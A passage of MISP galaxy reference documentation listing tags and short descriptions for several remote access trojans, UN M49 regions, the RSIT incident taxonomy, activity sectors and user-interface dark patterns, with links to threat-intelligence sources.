“Based on the use of publicly known sender addresses associated with Tibetan dissident targeting and the delivery of Sepulcher malware payloads, [we] have attributed both campaigns to the APT actor TA413,” said Proofpoint researchers in a Wednesday analysis. “The usage of publicly known Tibetan-themed sender accounts to deliver Sepulcher malware demonstrates a short-term realignment of TA413’s targets of interest.”

The tag is: *misp-galaxy:rat="Sepulcher"*

Table 6694. Table References

Links
https://www.enigmasoftware.fr/logicielmalveillantsepulcher-supprimer/
https://threatpost.com/chinese-apt-sepulcher-malware-phishing-attacks/158871/
https://malpedia.caad.fkie.fraunhofer.de/details/win.sepulcher
https://cyware.com/news/chinese-apt-ta413-found-distributing-sepulcher-malware-176a0969

Guildma

The campaign spreads via phishing emails posing as invoices, tax reports, invitations and similar types of messages containing a ZIP archive attachment with a malicious LNK file. When a user opens the malicious LNK file, it abuses the Windows Management Instrumentation Command-line tool and silently downloads a malicious XSL file. The XSL file downloads all of Guildma’s modules and executes a first stage loader, which loads the rest of the modules. The malware is then active and waits for commands from the C&C server and/or specific user interactions, such as opening a webpage of one of the targeted banks.

The tag is: *misp-galaxy:rat="Guildma"*

Guildma is also known as:

- Astaroth

Table 6695. Table References

Links
https://www.securityweek.com/guildma-malware-expands-targets-beyond-brazil

https://www.securityweek.com/extensive-living-land-hides-stealthy-malware-campaign
https://isc.sans.edu/diary/rss/28962
https://otx.alienvault.com/pulse/6303804723bccc7e3caad737?utm_userid=alexandre.dulaunoy@circl.lu&utm_medium=InProduct&utm_source=OTX&utm_content=Email&utm_campaign=new_pulse_from_subscribed

Milan

Milan is a 32-bit RAT written in Visual C++ and .NET. Milan is loaded and persists using tasks. An encoded routine waits for three to four seconds between executing the first task, deleting this task, and setting a second scheduled task for persistence.

The tag is: *misp-galaxy:rat="Milan"*

Milan is also known as:

- James

Table 6696. Table References

Links
https://www.prevailion.com/latest-targets-of-cyber-group-lyceum/

DarkWatchman

In late November, Prevailion's Adversarial Counterintelligence Team (PACT) identified what appeared to be a malicious javascript-based Remote Access Trojan (RAT) that uses a robust Domain Generation Algorithm (DGA) to identify its Command and Control (C2) infrastructure and that utilizes novel methods for fileless persistence, on-system activity, and dynamic run-time capabilities like self-updating and recompilation. This RAT, which PACT refers to by its internal codename "DarkWatchman", has been observed being distributed by email and represents an evolution in fileless malware techniques, as it uses the registry for nearly all temporary and permanent storage and therefore never writes anything to disk, allowing it to operate beneath or around the detection threshold of most security tools. PACT has reverse engineered the DGA, dynamically analyzed the malware, investigated the Threat Actor's (TA) web-based infrastructure, and consolidated the results of our analysis into the following report.

The tag is: *misp-galaxy:rat="DarkWatchman"*

DarkWatchman is also known as:

Table 6697. Table References

Links

https://www.prevailion.com/darkwatchman-new-fileness-techniques/

Ragnatela

Malwarebytes Lab identified a new variant of the BADNEWS RAT called Ragnatela. It is being distributed via spear phishing emails to targets of interest in Pakistan. Ragnatela, which means spider web in Italian, is also the project name and panel used by Patchwork APT. Ironically, the threat actor infected themselves with their own RAT.

The tag is: *misp-galaxy:rat="Ragnatela"*

View relationships graph

Ragnatela has relationships with:

- similar: misp-galaxy:mitre-malware="BADNEWS - S0128" with estimative-language:likelihood-probability="likely"

Table 6698. Table References

Links
https://blog.malwarebytes.com/threat-intelligence/2022/01/patchwork-apt-caught-in-its-own-web/

Regions UN M49

Regions based on UN M49..

Regions UN M49 is a cluster galaxy available in JSON format at **this location** The JSON format can be freely reused in your application or automatically enabled in MISP.

authors
: Unknown

001 - World

The tag is: *misp-galaxy:region="001 - World"*

002 - Africa

The tag is: *misp-galaxy:region="002 - Africa"*

019 - Americas

The tag is: *misp-galaxy:region="019 - Americas"*

142 - Asia

The tag is: *misp-galaxy:region="142 - Asia"*

150 - Europe

The tag is: *misp-galaxy:region="150 - Europe"*

009 - Oceania

The tag is: *misp-galaxy:region="009 - Oceania"*

015 - Northern Africa

The tag is: *misp-galaxy:region="015 - Northern Africa"*

202 - Sub-Saharan Africa

The tag is: *misp-galaxy:region="202 - Sub-Saharan Africa"*

419 - Latin America and the Caribbean

The tag is: *misp-galaxy:region="419 - Latin America and the Caribbean"*

021 - Northern America

The tag is: *misp-galaxy:region="021 - Northern America"*

143 - Central Asia

The tag is: *misp-galaxy:region="143 - Central Asia"*

030 - Eastern Asia

The tag is: *misp-galaxy:region="030 - Eastern Asia"*

035 - South-eastern Asia

The tag is: *misp-galaxy:region="035 - South-eastern Asia"*

034 - Southern Asia

The tag is: *misp-galaxy:region="034 - Southern Asia"*

145 - Western Asia

The tag is: *misp-galaxy:region="145 - Western Asia"*

151 - Eastern Europe

The tag is: *misp-galaxy:region="151 - Eastern Europe"*

154 - Northern Europe

The tag is: *misp-galaxy:region="154 - Northern Europe"*

039 - Southern Europe

The tag is: *misp-galaxy:region="039 - Southern Europe"*

155 - Western Europe

The tag is: *misp-galaxy:region="155 - Western Europe"*

053 - Australia and New Zealand

The tag is: *misp-galaxy:region="053 - Australia and New Zealand"*

054 - Melanesia

The tag is: *misp-galaxy:region="054 - Melanesia"*

057 - Micronesia

The tag is: *misp-galaxy:region="057 - Micronesia"*

061 - Polynesia

The tag is: *misp-galaxy:region="061 - Polynesia"*

014 - Eastern Africa

The tag is: *misp-galaxy:region="014 - Eastern Africa"*

017 - Middle Africa

The tag is: *misp-galaxy:region="017 - Middle Africa"*

018 - Southern Africa

The tag is: *misp-galaxy:region="018 - Southern Africa"*

011 - Western Africa

The tag is: *misp-galaxy:region="011 - Western Africa"*

029 - Caribbean

The tag is: *misp-galaxy:region="029 - Caribbean"*

013 - Central America

The tag is: *misp-galaxy:region="013 - Central America"*

005 - South America

The tag is: *misp-galaxy:region="005 - South America"*

830 - Channel Islands

The tag is: *misp-galaxy:region="830 - Channel Islands"*

rsit

rsit.

rsit is a cluster galaxy available in JSON format at **this location** The JSON format can be freely reused in your application or automatically enabled in MISP.

authors
: Koen Van Impe

Abusive Content:Spam

Or 'Unsolicited Bulk Email', this means that the recipient has not granted verifiable permission for the message to be sent and that the message is sent as part of a larger collection of messages, all having a functionally comparable content. This IOC refers to resources, which make up a SPAM infrastructure, be it a harvesters like address verification, URLs in spam e-mails etc.

The tag is: *misp-galaxy:rsit="Abusive Content:Spam"*

View relationships graph

Abusive Content:Spam has relationships with:

- similar: misp-galaxy:mitre-attack-pattern="Phishing - T1566" with estimative-language:likelihood-probability="likely"

Abusive Content:Harmful Speech

Discretization or discrimination of somebody, e.g. cyber stalking, racism or threats against one or more individuals.

The tag is: *misp-galaxy:rsit="Abusive Content:Harmful Speech"*

Abusive Content:(Child) Sexual Exploitation/Sexual/Violent Content

Child Sexual Exploitation (CSE), Sexual content, glorification of violence, etc.

The tag is: *misp-galaxy:rsit="Abusive Content:(Child) Sexual Exploitation/Sexual/Violent Content"*

View relationships graph

Abusive Content:(Child) Sexual Exploitation/Sexual/Violent Content has relationships with:

- similar: misp-galaxy:mitre-attack-pattern="Phishing - T1566" with estimative-language:likelihood-probability="likely"

Malicious Code:Infected System

System infected with malware, e.g. PC, smartphone or server infected with a rootkit. Most often this refers to a connection to a sinkholed C2 server

The tag is: *misp-galaxy:rsit="Malicious Code:Infected System"*

Malicious Code:C2 Server

Command-and-control server contacted by malware on infected systems.

The tag is: *misp-galaxy:rsit="Malicious Code:C2 Server"*

View relationships graph

Malicious Code:C2 Server has relationships with:

- similar: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-language:likelihood-probability="likely"

Malicious Code:Malware Distribution

URI used for malware distribution, e.g. a download URL included in fake invoice malware spam or exploit-kits (on websites).

The tag is: *misp-galaxy:rsit="Malicious Code:Malware Distribution"*

Malicious Code:Malware Configuration

URI hosting a malware configuration file, e.g. web-injects for a banking trojan.

The tag is: *misp-galaxy:rsit="Malicious Code:Malware Configuration"*

Information Gathering:Scanning

Attacks that send requests to a system to discover weaknesses. This also includes testing processes to gather information on hosts, services and accounts. Examples: fingerd, DNS querying, ICMP, SMTP (EXPN, RCPT, …), port scanning.

The tag is: *misp-galaxy:rsit="Information Gathering:Scanning"*

View relationships graph

Information Gathering:Scanning has relationships with:

- similar: misp-galaxy:mitre-attack-pattern="Network Service Discovery - T1046" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-attack-pattern="Active Scanning - T1595" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-attack-pattern="Vulnerability Scanning - T1595.002" with estimative-language:likelihood-probability="likely"

Information Gathering:Sniffing

Observing and recording of network traffic (wiretapping).

The tag is: *misp-galaxy:rsit="Information Gathering:Sniffing"*

View relationships graph

Information Gathering:Sniffing has relationships with:

- similar: misp-galaxy:mitre-attack-pattern="Network Sniffing - T1040" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-attack-pattern="Adversary-in-the-Middle - T1557" with estimative-language:likelihood-probability="likely"

Information Gathering:Social Engineering

Gathering information from a human being in a non-technical way (e.g. lies, tricks, bribes, or threats).

The tag is: *misp-galaxy:rsit="Information Gathering:Social Engineering"*

Intrusion Attempts:Exploitation of known Vulnerabilities

An attempt to compromise a system or to disrupt any service by exploiting vulnerabilities with a standardised identifier such as CVE name (e.g. buffer overflow, backdoor, cross site scripting, etc.)

The tag is: *misp-galaxy:rsit="Intrusion Attempts:Exploitation of known Vulnerabilities"*

View relationships graph

Intrusion Attempts:Exploitation of known Vulnerabilities has relationships with:

- similar: misp-galaxy:mitre-attack-pattern="Exploit Public-Facing Application - T1190" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-attack-pattern="Exploitation for Defense Evasion - T1211" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-attack-pattern="Exploitation of Remote Services - T1210" with estimative-language:likelihood-probability="likely"

Intrusion Attempts:Login attempts

Multiple login attempts (Guessing / cracking of passwords, brute force). This IOC refers to a resource, which has been observed to perform brute-force attacks over a given application protocol.

The tag is: *misp-galaxy:rsit="Intrusion Attempts:Login attempts"*

View relationships graph

Intrusion Attempts:Login attempts has relationships with:

- similar: misp-galaxy:mitre-attack-pattern="Brute Force - T1110" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-attack-pattern="Password Guessing - T1110.001" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-attack-pattern="Password Cracking - T1110.002" with estimative-language:likelihood-probability="likely"

- similar: misp-galaxy:mitre-attack-pattern="Password Spraying - T1110.003" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-attack-pattern="Credential Stuffing - T1110.004" with estimative-language:likelihood-probability="likely"

Intrusion Attempts:New attack signature

An attack using an unknown exploit.

The tag is: *misp-galaxy:rsit="Intrusion Attempts:New attack signature"*

Intrusions:Privileged Account Compromise

Compromise of a system where the attacker gained administrative privileges.

The tag is: *misp-galaxy:rsit="Intrusions:Privileged Account Compromise"*

View relationships graph

Intrusions:Privileged Account Compromise has relationships with:

- similar: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="likely"

Intrusions:Unprivileged Account Compromise

Compromise of a system using an unprivileged (user/service) account.

The tag is: *misp-galaxy:rsit="Intrusions:Unprivileged Account Compromise"*

View relationships graph

Intrusions:Unprivileged Account Compromise has relationships with:

- similar: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="likely"

Intrusions:Application Compromise

Compromise of an application by exploiting (un-)known software vulnerabilities, e.g. SQL injection.

The tag is: *misp-galaxy:rsit="Intrusions:Application Compromise"*

View relationships graph

Intrusions:Application Compromise has relationships with:

- similar: misp-galaxy:mitre-attack-pattern="Exploit Public-Facing Application - T1190" with estimative-language:likelihood-probability="likely"

Intrusions:System Compromise

Compromise of a system, e.g. unauthorised logins or commands. This includes compromising attempts on honeypot systems.

The tag is: *misp-galaxy:rsit="Intrusions:System Compromise"*

Intrusions:Burglary

Physical intrusion, e.g. into corporate building or data-centre.

The tag is: *misp-galaxy:rsit="Intrusions:Burglary"*

Availability:Denial of Service

Denial of Service attack, e.g. sending specially crafted requests to a web application which causes the application to crash or slow down.

The tag is: *misp-galaxy:rsit="Availability:Denial of Service"*

View relationships graph

Availability:Denial of Service has relationships with:

- similar: misp-galaxy:mitre-attack-pattern="Network Denial of Service - T1498" with estimative-language:likelihood-probability="likely"

Availability:Distributed Denial of Service

Distributed Denial of Service attack, e.g. SYN-Flood or UDP-based reflection/amplification attacks.

The tag is: *misp-galaxy:rsit="Availability:Distributed Denial of Service"*

View relationships graph

Availability:Distributed Denial of Service has relationships with:

- similar: misp-galaxy:mitre-attack-pattern="Network Denial of Service - T1498" with estimative-language:likelihood-probability="likely"

Availability:Misconfiguration

Software misconfiguration resulting in service availability issues, e.g. DNS server with outdated DNSSEC Root Zone KSK.

The tag is: *misp-galaxy:rsit="Availability:Misconfiguration"*

Availability:Sabotage

Physical sabotage, e.g cutting wires or malicious arson.

The tag is: *misp-galaxy:rsit="Availability:Sabotage"*

Availability:Outage

Outage caused e.g. by air condition failure or natural disaster.

The tag is: *misp-galaxy:rsit="Availability:Outage"*

Information Content Security:Unauthorised access to information

Unauthorised access to information, e.g. by abusing stolen login credentials for a system or application, intercepting traffic or gaining access to physical documents.

The tag is: *misp-galaxy:rsit="Information Content Security:Unauthorised access to information"*

Information Content Security:Unauthorised modification of information

Unauthorised modification of information, e.g. by an attacker abusing stolen login credentials for a system or application or a ransomware encrypting data. Also includes defacements.

The tag is: *misp-galaxy:rsit="Information Content Security:Unauthorised modification of information"*

View relationships graph

Information Content Security:Unauthorised modification of information has relationships with:

- similar: misp-galaxy:mitre-attack-pattern="Data Manipulation - T1565" with estimative-language:likelihood-probability="likely"

Information Content Security:Data Loss

Loss of data, e.g. caused by harddisk failure or physical theft.

The tag is: *misp-galaxy:rsit="Information Content Security:Data Loss"*

Information Content Security:Leak of confidential information

Leaked confidential information like credentials or personal data.

The tag is: *misp-galaxy:rsit="Information Content Security:Leak of confidential information"*

Fraud:Unauthorised use of resources

Using resources for unauthorised purposes including profit-making ventures, e.g. the use of e-mail to participate in illegal profit chain letters or pyramid schemes.

The tag is: *misp-galaxy:rsit="Fraud:Unauthorised use of resources"*

Fraud:Copyright

Offering or Installing copies of unlicensed commercial software or other copyright protected materials (Warez).

The tag is: *misp-galaxy:rsit="Fraud:Copyright"*

Fraud:Masquerade

Type of attack in which one entity illegitimately impersonates the identity of another in order to benefit from it.

The tag is: *misp-galaxy:rsit="Fraud:Masquerade"*

Fraud:Phishing

Masquerading as another entity in order to persuade the user to reveal private credentials. This IOC most often refers to a URL, which is used to phish user credentials.

The tag is: *misp-galaxy:rsit="Fraud:Phishing"*

View relationships graph

Fraud:Phishing has relationships with:

- similar: misp-galaxy:mitre-attack-pattern="Phishing - T1566" with estimative-language:likelihood-probability="likely"

Vulnerable:Weak crypto

Publicly accessible services offering weak crypto, e.g. web servers susceptible to POODLE/FREAK attacks.

The tag is: *misp-galaxy:rsit="Vulnerable:Weak crypto"*

Vulnerable:DDoS amplifier

Publicly accessible services that can be abused for conducting DDoS reflection/amplification attacks, e.g. DNS open-resolvers or NTP servers with monlist enabled.

The tag is: *misp-galaxy:rsit="Vulnerable:DDoS amplifier"*

View relationships graph

Vulnerable:DDoS amplifier has relationships with:

- similar: misp-galaxy:mitre-attack-pattern="Network Denial of Service - T1498" with estimative-language:likelihood-probability="likely"

Vulnerable:Potentially unwanted accessible services

Potentially unwanted publicly accessible services, e.g. Telnet, RDP or VNC.

The tag is: *misp-galaxy:rsit="Vulnerable:Potentially unwanted accessible services"*

Vulnerable:Information disclosure

Publicly accessible services potentially disclosing sensitive information, e.g. SNMP or Redis.

The tag is: *misp-galaxy:rsit="Vulnerable:Information disclosure"*

Vulnerable:Vulnerable system

A system which is vulnerable to certain attacks. Example: misconfigured client proxy settings (example: WPAD), outdated operating system version, XSS vulnerabilities, etc.

The tag is: *misp-galaxy:rsit="Vulnerable:Vulnerable system"*

Other:Uncategorised

All incidents which don't fit in one of the given categories should be put into this class or the incident is not categorised.

The tag is: *misp-galaxy:rsit="Other:Uncategorised"*

Other:Undetermined

The categorisation of the incident is unknown/undetermined.

The tag is: *misp-galaxy:rsit="Other:Undetermined"*

Test:Test

Meant for testing.

The tag is: *misp-galaxy:rsit="Test:Test"*

Sector

Activity sectors.

Sector is a cluster galaxy available in JSON format at **this location** The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

Various

Unknown

The tag is: *misp-galaxy:sector="Unknown"*

Other

The tag is: *misp-galaxy:sector="Other"*

Academia - University

The tag is: *misp-galaxy:sector="Academia - University"*

Activists

The tag is: *misp-galaxy:sector="Activists"*

Aerospace

The tag is: *misp-galaxy:sector="Aerospace"*

Agriculture

The tag is: *misp-galaxy:sector="Agriculture"*

Arts

The tag is: *misp-galaxy:sector="Arts"*

Bank

The tag is: *misp-galaxy:sector="Bank"*

Chemical

The tag is: *misp-galaxy:sector="Chemical"*

Citizens

The tag is: *misp-galaxy:sector="Citizens"*

Civil Aviation

The tag is: *misp-galaxy:sector="Civil Aviation"*

Country

The tag is: *misp-galaxy:sector="Country"*

Culture

The tag is: *misp-galaxy:sector="Culture"*

Data Broker

The tag is: *misp-galaxy:sector="Data Broker"*

Defense

The tag is: *misp-galaxy:sector="Defense"*

Development

The tag is: *misp-galaxy:sector="Development"*

Diplomacy

The tag is: *misp-galaxy:sector="Diplomacy"*

Education

The tag is: *misp-galaxy:sector="Education"*

Electric

The tag is: *misp-galaxy:sector="Electric"*

Electronic

The tag is: *misp-galaxy:sector="Electronic"*

Employment

The tag is: *misp-galaxy:sector="Employment"*

Energy

The tag is: *misp-galaxy:sector="Energy"*

Entertainment

The tag is: *misp-galaxy:sector="Entertainment"*

Environment

The tag is: *misp-galaxy:sector="Environment"*

Finance

The tag is: *misp-galaxy:sector="Finance"*

Finance is also known as:

- Financial

Food

The tag is: *misp-galaxy:sector="Food"*

Game

The tag is: *misp-galaxy:sector="Game"*

Gas

The tag is: *misp-galaxy:sector="Gas"*

Government, Administration

The tag is: *misp-galaxy:sector="Government, Administration"*

Government, Administration is also known as:

- Government
- Administration

Health

The tag is: *misp-galaxy:sector="Health"*

Health is also known as:

- Healthcare

Higher education

The tag is: *misp-galaxy:sector="Higher education"*

Hotels

The tag is: *misp-galaxy:sector="Hotels"*

Infrastructure

The tag is: *misp-galaxy:sector="Infrastructure"*

Intelligence

The tag is: *misp-galaxy:sector="Intelligence"*

IT

The tag is: *misp-galaxy:sector="IT"*

IT - Hacker

The tag is: *misp-galaxy:sector="IT - Hacker"*

IT - ISP

The tag is: *misp-galaxy:sector="IT - ISP"*

IT - Security

The tag is: *misp-galaxy:sector="IT - Security"*

Justice

The tag is: *misp-galaxy:sector="Justice"*

Manufacturing

The tag is: *misp-galaxy:sector="Manufacturing"*

Maritime

The tag is: *misp-galaxy:sector="Maritime"*

Military

The tag is: *misp-galaxy:sector="Military"*

Multi-sector

The tag is: *misp-galaxy:sector="Multi-sector"*

News - Media

The tag is: *misp-galaxy:sector="News - Media"*

News - Media is also known as:

- News
- Media

NGO

The tag is: *misp-galaxy:sector="NGO"*

Oil

The tag is: *misp-galaxy:sector="Oil"*

Payment

The tag is: *misp-galaxy:sector="Payment"*

Pharmacy

The tag is: *misp-galaxy:sector="Pharmacy"*

Pharmacy is also known as:

- Pharmaceutical

Police - Law enforcement

The tag is: *misp-galaxy:sector="Police - Law enforcement"*

Research - Innovation

The tag is: *misp-galaxy:sector="Research - Innovation"*

Satellite navigation

The tag is: *misp-galaxy:sector="Satellite navigation"*

Security systems

The tag is: *misp-galaxy:sector="Security systems"*

Social networks

The tag is: *misp-galaxy:sector="Social networks"*

Space

The tag is: *misp-galaxy:sector="Space"*

Steel

The tag is: *misp-galaxy:sector="Steel"*

Telecoms

The tag is: *misp-galaxy:sector="Telecoms"*

Telecoms is also known as:

- Telecommunications

Think Tanks

The tag is: *misp-galaxy:sector="Think Tanks"*

Trade

The tag is: *misp-galaxy:sector="Trade"*

Transport

The tag is: *misp-galaxy:sector="Transport"*

Transport is also known as:

- Transportation

Travel

The tag is: *misp-galaxy:sector="Travel"*

Turbine

The tag is: *misp-galaxy:sector="Turbine"*

Tourism

The tag is: *misp-galaxy:sector="Tourism"*

Life science

The tag is: *misp-galaxy:sector="Life science"*

Biomedical

The tag is: *misp-galaxy:sector="Biomedical"*

High tech

The tag is: *misp-galaxy:sector="High tech"*

Opposition

The tag is: *misp-galaxy:sector="Opposition"*

Political party

The tag is: *misp-galaxy:sector="Political party"*

Hospitality

The tag is: *misp-galaxy:sector="Hospitality"*

Automotive

The tag is: *misp-galaxy:sector="Automotive"*

Metal

The tag is: *misp-galaxy:sector="Metal"*

Railway

The tag is: *misp-galaxy:sector="Railway"*

Water

The tag is: *misp-galaxy:sector="Water"*

Smart meter

The tag is: *misp-galaxy:sector="Smart meter"*

Retail

The tag is: *misp-galaxy:sector="Retail"*

Technology

The tag is: *misp-galaxy:sector="Technology"*

engineering

The tag is: *misp-galaxy:sector="engineering"*

Mining

The tag is: *misp-galaxy:sector="Mining"*

Sport

The tag is: *misp-galaxy:sector="Sport"*

Restaurant

The tag is: *misp-galaxy:sector="Restaurant"*

Semi-conductors

The tag is: *misp-galaxy:sector="Semi-conductors"*

Semi-conductors is also known as:

- Semiconductor

Insurance

The tag is: *misp-galaxy:sector="Insurance"*

Legal

The tag is: *misp-galaxy:sector="Legal"*

Shipping

The tag is: *misp-galaxy:sector="Shipping"*

Logistic

The tag is: *misp-galaxy:sector="Logistic"*

Construction

The tag is: *misp-galaxy:sector="Construction"*

Industrial

The tag is: *misp-galaxy:sector="Industrial"*

Industrial is also known as:

- ICS

Communication equipment

The tag is: *misp-galaxy:sector="Communication equipment"*

Security Service

The tag is: *misp-galaxy:sector="Security Service"*

Tax firm

The tag is: *misp-galaxy:sector="Tax firm"*

Television broadcast

The tag is: *misp-galaxy:sector="Television broadcast"*

Separatists

The tag is: *misp-galaxy:sector="Separatists"*

Dissidents

The tag is: *misp-galaxy:sector="Dissidents"*

Digital services

The tag is: *misp-galaxy:sector="Digital services"*

Digital infrastructure

The tag is: *misp-galaxy:sector="Digital infrastructure"*

Security actors

The tag is: *misp-galaxy:sector="Security actors"*

eCommerce

The tag is: *misp-galaxy:sector="eCommerce"*

Islamic forums

The tag is: *misp-galaxy:sector="Islamic forums"*

Journalist

The tag is: *misp-galaxy:sector="Journalist"*

Streaming service

The tag is: *misp-galaxy:sector="Streaming service"*

Publishing industry

The tag is: *misp-galaxy:sector="Publishing industry"*

Islamic organisation

The tag is: *misp-galaxy:sector="Islamic organisation"*

Casino

The tag is: *misp-galaxy:sector="Casino"*

Consulting

The tag is: *misp-galaxy:sector="Consulting"*

Online marketplace

The tag is: *misp-galaxy:sector="Online marketplace"*

DNS service provider

The tag is: *misp-galaxy:sector="DNS service provider"*

Veterinary

The tag is: *misp-galaxy:sector="Veterinary"*

Marketing

The tag is: *misp-galaxy:sector="Marketing"*

Video Sharing

The tag is: *misp-galaxy:sector="Video Sharing"*

Advertising

The tag is: *misp-galaxy:sector="Advertising"*

Investment

The tag is: *misp-galaxy:sector="Investment"*

Accounting

The tag is: *misp-galaxy:sector="Accounting"*

Programming

The tag is: *misp-galaxy:sector="Programming"*

Managed Services Provider

The tag is: *misp-galaxy:sector="Managed Services Provider"*

Lawyers

The tag is: *misp-galaxy:sector="Lawyers"*

Civil society

The tag is: *misp-galaxy:sector="Civil society"*

Petrochemical

The tag is: *misp-galaxy:sector="Petrochemical"*

Immigration

The tag is: *misp-galaxy:sector="Immigration"*

Dark Patterns

Dark Patterns are user interface that tricks users into making decisions that benefit the interface's holder to the expense of the user..

Dark Patterns is a cluster galaxy available in JSON format at **this location** The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

Jean-Louis Huynen

Nagging

Repeated requests to do something the firms prefer

The tag is: *misp-galaxy:social-dark-patterns="Nagging"*

Table 6699. Table References

Links
https://dl.acm.org/citation.cfm?id=3174108
https://papers.ssrn.com/sol3/papers.cfm?abstract_id=3431205

Activity Messages

Misleading notice about other consumers' actions

The tag is: *misp-galaxy:social-dark-patterns="Activity Messages"*

Table 6700. Table References

Links
https://webtransparency.cs.princeton.edu/dark-patterns/assets/dark-patterns-v2.pdf
https://papers.ssrn.com/sol3/papers.cfm?abstract_id=3431205

Testimonials

Misleading statements from customers

The tag is: *misp-galaxy:social-dark-patterns="Testimonials"*

Table 6701. Table References

Links
https://webtransparency.cs.princeton.edu/dark-patterns/assets/dark-patterns-v2.pdf
https://papers.ssrn.com/sol3/papers.cfm?abstract_id=3431205

Roach Motel

Asymmetry between signing up and canceling

The tag is: *misp-galaxy:social-dark-patterns="Roach Motel"*

Table 6702. Table References

Links
https://dl.acm.org/citation.cfm?id=3174108
https://webtransparency.cs.princeton.edu/dark-patterns/assets/dark-patterns-v2.pdf

https://papers.ssrn.com/sol3/papers.cfm?abstract_id=3431205

Price Comparison Prevention

Frustrates comparison shopping

The tag is: *misp-galaxy:social-dark-patterns="Price Comparison Prevention"*

Table 6703. Table References

Links
https://www.darkpatterns.org/
https://dl.acm.org/citation.cfm?id=3174108
https://webtransparency.cs.princeton.edu/dark-patterns/assets/dark-patterns-v2.pdf
https://papers.ssrn.com/sol3/papers.cfm?abstract_id=3431205

Intermediate Currency

Purchases in virtual currency to obscure cost

The tag is: *misp-galaxy:social-dark-patterns="Intermediate Currency"*

Table 6704. Table References

Links
https://www.darkpatterns.org/
https://papers.ssrn.com/sol3/papers.cfm?abstract_id=3431205

Sneak into Basket

Item consumer did not add is in cart

The tag is: *misp-galaxy:social-dark-patterns="Sneak into Basket"*

Table 6705. Table References

Links
https://www.darkpatterns.org/
https://dl.acm.org/citation.cfm?id=3174108
https://webtransparency.cs.princeton.edu/dark-patterns/assets/dark-patterns-v2.pdf
https://papers.ssrn.com/sol3/papers.cfm?abstract_id=3431205

Hidden Costs

Costs obscured / disclosed late in transaction

The tag is: *misp-galaxy:social-dark-patterns="Hidden Costs"*

Table 6706. Table References

Links
https://www.darkpatterns.org/
https://dl.acm.org/citation.cfm?id=3174108
https://webtransparency.cs.princeton.edu/dark-patterns/assets/dark-patterns-v2.pdf
https://papers.ssrn.com/sol3/papers.cfm?abstract_id=3431205

Hidden subscription / forced continuity

Unanticipated / undesired automatic renewal

The tag is: *misp-galaxy:social-dark-patterns="Hidden subscription / forced continuity"*

Table 6707. Table References

Links
https://www.darkpatterns.org/
https://dl.acm.org/citation.cfm?id=3174108
https://webtransparency.cs.princeton.edu/dark-patterns/assets/dark-patterns-v2.pdf
https://papers.ssrn.com/sol3/papers.cfm?abstract_id=3431205

Bait & Switch

Customer sold something other than what's originally advertised

The tag is: *misp-galaxy:social-dark-patterns="Bait & Switch"*

Table 6708. Table References

Links
https://dl.acm.org/citation.cfm?id=3174108
https://papers.ssrn.com/sol3/papers.cfm?abstract_id=3431205

Hidden information / aesthetic manipulation / false hierarchy

Important information visually obscured

The tag is: *misp-galaxy:social-dark-patterns="Hidden information / aesthetic manipulation / false hierarchy"*

Table 6709. Table References

Links
https://webtransparency.cs.princeton.edu/dark-patterns/assets/dark-patterns-v2.pdf
https://papers.ssrn.com/sol3/papers.cfm?abstract_id=3431205

Preselection

Firm-friendly default is preselected

The tag is: *misp-galaxy:social-dark-patterns="Preselection"*

Table 6710. Table References

Links
https://petsymposium.org/2016/files/papers/ Tales_from_the_Dark_Side*Privacy_Dark_Strategies_and_Privacy_Dark_Patterns.pdf[https://petsymposium.org/2016/files/papers/ Tales_from_the_Dark_Side*Privacy_Dark_Strategies_and_Privacy_Dark_Patterns.pdf]
https://papers.ssrn.com/sol3/papers.cfm?abstract_id=3431205

Toying with emotion

Emotionally manipulative framing

The tag is: *misp-galaxy:social-dark-patterns="Toying with emotion"*

Table 6711. Table References

Links
https://dl.acm.org/citation.cfm?id=3174108
https://papers.ssrn.com/sol3/papers.cfm?abstract_id=3431205

Trick questions

Intentional or obvious ambiguity

The tag is: *misp-galaxy:social-dark-patterns="Trick questions"*

Table 6712. Table References

Links
https://webtransparency.cs.princeton.edu/dark-patterns/assets/dark-patterns-v2.pdf
https://dl.acm.org/citation.cfm?id=3174108
https://papers.ssrn.com/sol3/papers.cfm?abstract_id=3431205

Disguised Ad

Consumer induced to click on something that isn’t apparent ad

The tag is: *misp-galaxy:social-dark-patterns="Disguised Ad"*

Table 6713. Table References

Links
https://dl.acm.org/citation.cfm?id=3174108
https://www.darkpatterns.org/types-of-dark-pattern
https://papers.ssrn.com/sol3/papers.cfm?abstract_id=3431205

Confirmshaming

Choice framed in way that seems dishonest / stupid

The tag is: *misp-galaxy:social-dark-patterns="Confirmshaming"*

Table 6714. Table References

Links
https://webtransparency.cs.princeton.edu/dark-patterns/assets/dark-patterns-v2.pdf
https://www.darkpatterns.org/types-of-dark-pattern
https://papers.ssrn.com/sol3/papers.cfm?abstract_id=3431205

Forced Registration

Consumer tricked into thinking registration necessary

The tag is: *misp-galaxy:social-dark-patterns="Forced Registration"*

Table 6715. Table References

Links
https://petsymposium.org/2016/files/papers/ Tales_from_the_Dark_Side*Privacy_Dark_Strategies_and_Privacy_Dark_Patterns.pdf[https://petsymposium.org/2016/files/papers/ Tales_from_the_Dark_Side*Privacy_Dark_Strategies_and_Privacy_Dark_Patterns.pdf]
https://papers.ssrn.com/sol3/papers.cfm?abstract_id=3431205

Low stock / high-demand message

Consumer falsely informed of limited quantities

The tag is: *misp-galaxy:social-dark-patterns="Low stock / high-demand message"*

Table 6716. Table References

Links
https://webtransparency.cs.princeton.edu/dark-patterns/assets/dark-patterns-v2.pdf
https://papers.ssrn.com/sol3/papers.cfm?abstract_id=3431205

Countdown timer / Limited time message

Opportunity ends soon with blatant false visual cue

